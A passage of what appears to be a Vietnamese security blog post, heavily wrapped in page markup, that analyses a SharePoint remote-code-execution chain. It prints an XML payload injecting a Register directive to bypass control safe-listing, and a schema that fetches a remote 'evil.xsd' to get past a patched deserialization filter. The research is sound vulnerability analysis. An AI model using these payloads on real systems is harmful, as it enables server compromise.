https://substackcdn.com/image/fetch/$s_!wFkT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png 1272w, https://substackcdn.com/image/fetch/$s_!wFkT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fafb6c7cc-164c-43f6-884d-9f5e39de40e9_788x356.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Nh&#432; v&#7853;y register directive &#273;&#432;&#7907;c t&#7841;o b&#7857;ng c&#225;ch thu&#7847;n n&#7889;i chu&#7895;i, ta ho&#224;n to&#224;n c&#243; th&#7875; inject th&#234;m arbitrary markup v&#224;o cu&#7889;i th&#244;ng qua attribute <code>src</code>, &#273;i&#7873;u &#273;&#243; c&#361;ng &#273;&#432;&#7907;c confirm th&#244;ng qua &#273;o&#7841;n diff ban &#273;&#7847;u.</p><p>Ta c&#243; th&#7875; ch&#232;n th&#234;m k&#237; t&#7921; nh&#225;y k&#233;p <code>"</code> v&#224; c&#225;c k&#237; t&#7921; html &#273;&#7875; c&#243; th&#7875; escape ra kh&#7887;i attribute ban &#273;&#7847;u:</p><pre><code><code>&lt;updateData&gt;&lt;![CDATA[&lt;UpdateTransaction&gt;&lt;Update Type="Document"&gt;&lt;Document Url="/sites/target/Pages/default.aspx" ContextUrl="/sites/target/Pages/default.aspx"&gt;&lt;Register TagPrefix='x' TagName='y'
  Src='z" %&amp;gt;&amp;lt;%@ Register TagPrefix="__z" TagName="__c" Src="zz' /&gt;&lt;Control
  UpdateID="1" TagName="asp:Label" OuterHtml="&amp;lt;asp:Label ID=&amp;quot;L1&amp;quot; Text=&amp;quot;safe&amp;quot; runat=&amp;quot;server&amp;quot; /&amp;gt;" NeedsPreview="true"
  /&gt;&lt;/Document&gt;&lt;Actions/&gt;&lt;/Update&gt;&lt;/UpdateTransaction&gt;]]&gt;&lt;/updateData&gt;
</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7p8Q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7p8Q!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png 424w, https://substackcdn.com/image/fetch/$s_!7p8Q!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png 848w, https://substackcdn.com/image/fetch/$s_!7p8Q!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png 1272w, https://substackcdn.com/image/fetch/$s_!7p8Q!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7p8Q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png" width="806" height="438" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:438,&quot;width&quot;:806,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7p8Q!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png 424w, https://substackcdn.com/image/fetch/$s_!7p8Q!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png 848w, https://substackcdn.com/image/fetch/$s_!7p8Q!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png 1272w, https://substackcdn.com/image/fetch/$s_!7p8Q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2605634-ce1b-4a66-8261-f55331ba87f8_806x438.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Nh&#432; v&#7853;y ch&#7881; b&#7857;ng vi&#7879;c s&#7917; d&#7909;ng attribute <code>src</code> ta v&#7915;a c&#243; th&#7875; bypass &#273;&#432;&#7907;c <code>VerifyControlOnSafeList()</code> [7] , v&#7915;a c&#243; th&#7875; init arbitrary type th&#244;ng qua injected Register Directive, m&#7897;t s&#7921; k&#7871;t h&#7907;p tuy&#7879;t &#273;&#7865;p:v</p><p>Vi&#7879;c c&#242;n l&#7841;i b&#226;y gi&#7901; l&#224; t&#236;m &#273;&#432;&#7907;c arbitrary type n&#224;o c&#243; th&#7875; gi&#250;p ta c&#243; &#273;&#432;&#7907;c RCE th&#244;ng no-arg constructor ho&#7863;c getter/setter method c&#7911;a n&#243;. Ta c&#243; th&#7875; s&#7917; d&#7909;ng l&#7841;i POC c&#7911;a <a href="https://blog.viettelcybersecurity.com/sharepoint-toolshell/">ToolShell</a>.</p><p>Type &#273;&#432;&#7907;c s&#7917; d&#7909;ng cho ToolShell l&#224; <code>Microsoft.PerformancePoint.Scorecards.ExcelDataSet</code>. Type n&#224;y c&#243; getter g&#7885;i t&#7899;i <code>Helper.GetObjectFromCompressedBase64String()</code> -&gt; <code>BinarySerialization.Deserialize()</code>. <code>BinarySerialization</code> l&#7841;i &#273;&#432;&#7907;c filter kh&#225; ch&#7863;t th&#244;ng qua <code>LimitingBinder</code> v&#224; <code>DataSetSurrogateSelector</code>.</p><p>Bug <code>ToolShell</code> &#273;&#432;&#7907;c exploit b&#7857;ng c&#225;ch bypass &#273;&#432;&#7907;c <code>DataSetSurrogateSelector</code>, tuy nhi&#234;n ch&#7895; bypass n&#224;y &#273;&#227; &#273;&#432;&#7907;c patch sau &#273;&#243; n&#234;n hi&#7879;n t&#7841;i ta kh&#244;ng th&#7875; &#225;p nguy&#234;n poc c&#361; &#273;&#7875; RCE &#273;&#432;&#7907;c.</p><p>Sau m&#7897;t h&#7891;i m&#242; m&#7851;m th&#236; m&#236;nh c&#243; &#273;&#7875; &#253; th&#7845;y &#7903; b&#7843;n v&#225; th&#225;ng 5 c&#243; add th&#234;m blacklist cho <code>XmlValidator</code>, &#273;&#226;y c&#361;ng ch&#237;nh l&#224; class &#273;&#432;&#7907;c <code>DataSetSurrogateSelector</code> d&#249;ng &#273;&#7875; th&#7921;c hi&#7879;n logic filter:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-iVL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-iVL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png 424w, https://substackcdn.com/image/fetch/$s_!-iVL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png 848w, https://substackcdn.com/image/fetch/$s_!-iVL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png 1272w, https://substackcdn.com/image/fetch/$s_!-iVL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-iVL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png" width="862" height="399" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:399,&quot;width&quot;:862,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-iVL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png 424w, https://substackcdn.com/image/fetch/$s_!-iVL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png 848w, https://substackcdn.com/image/fetch/$s_!-iVL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png 1272w, https://substackcdn.com/image/fetch/$s_!-iVL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd7cd6d3-7bcf-489e-b778-e22777182e30_862x399.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GU4S!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GU4S!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png 424w, https://substackcdn.com/image/fetch/$s_!GU4S!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png 848w, https://substackcdn.com/image/fetch/$s_!GU4S!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png 1272w, https://substackcdn.com/image/fetch/$s_!GU4S!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GU4S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png" width="839" height="665" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:665,&quot;width&quot;:839,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GU4S!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png 424w, https://substackcdn.com/image/fetch/$s_!GU4S!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png 848w, https://substackcdn.com/image/fetch/$s_!GU4S!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png 1272w, https://substackcdn.com/image/fetch/$s_!GU4S!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c7a4b06-1366-4e71-8ad5-8666e3a8fd3d_839x665.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>B&#7843;n v&#225; &#273;&#227; block m&#7897;t s&#7889; elements v&#224; attribute cho ph&#233;p resolve remote schema &#7903; <code>XmlValidator.ValidateXml()</code> nh&#432; <code>xs:include schemaLocation</code>.</p><p>Nh&#432; v&#7853;y ta c&#243; th&#7875; bypass &#273;&#432;&#7907;c <code>XmlValidator</code> b&#7857;ng c&#225;ch thay v&#236; truy&#7873;n <code>XmlSchema</code> ch&#7913;a blocked attribute <code>msdata:DataType</code>, ta ch&#7881; c&#7847;n truy&#7873;n schema b&#236;nh th&#432;&#7901;ng r&#7891;i th&#234;m element <code>&lt;xs:include schemaLocation /&gt;</code> &#273;&#7875; nh&#250;ng remote schema kh&#225;c v&#224;o:</p><pre><code><code>&lt;xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema"
           xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="ds"&gt;
  &lt;xs:include schemaLocation="http://TARGET/evil.xsd"/&gt;
  &lt;xs:element name="ds" msdata:IsDataSet="true" msdata:UseCurrentLocale="true"&gt;
    &lt;xs:complexType&gt;
      &lt;xs:choice minOccurs="0" maxOccurs="unbounded"&gt;
        &lt;xs:element ref="test"/&gt;
      &lt;/xs:choice&gt;
    &lt;/xs:complexType&gt;
  &lt;/xs:element&gt;
&lt;/xs:schema&gt;
</code></code></pre><p>v&#7899;i evil.xsd:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!SpHC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!SpHC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png 424w, https://substackcdn.com/image/fetch/$s_!SpHC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png 848w, https://substackcdn.com/image/fetch/$s_!SpHC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png 1272w, https://substackcdn.com/image/fetch/$s_!SpHC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!SpHC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png" width="945" height="278" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:278,&quot;width&quot;:945,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!SpHC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png 424w, https://substackcdn.com/image/fetch/$s_!SpHC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png 848w, https://substackcdn.com/image/fetch/$s_!SpHC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png 1272w, https://substackcdn.com/image/fetch/$s_!SpHC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40a3f15e-7d02-4ae0-bd86-e64cb983c1df_945x278.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Nh&#432; v&#7853;y ta &#273;&#227; c&#243; th&#7875; bypass &#273;&#432;&#7907;c <code>DataSetSurrogateSelector</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!as48!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!as48!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png 424w, https://substackcdn.com/image/fetch/$s_!as48!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png 848w, https://substackcdn.com/image/fetch/$s_!as48!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png 1272w, https://substackcdn.com/image/fetch/$s_!as48!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!as48!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8ccaa1a5-f79a-4fe1-b1e7-04554078b610_898x688.png" width="898" height="688" 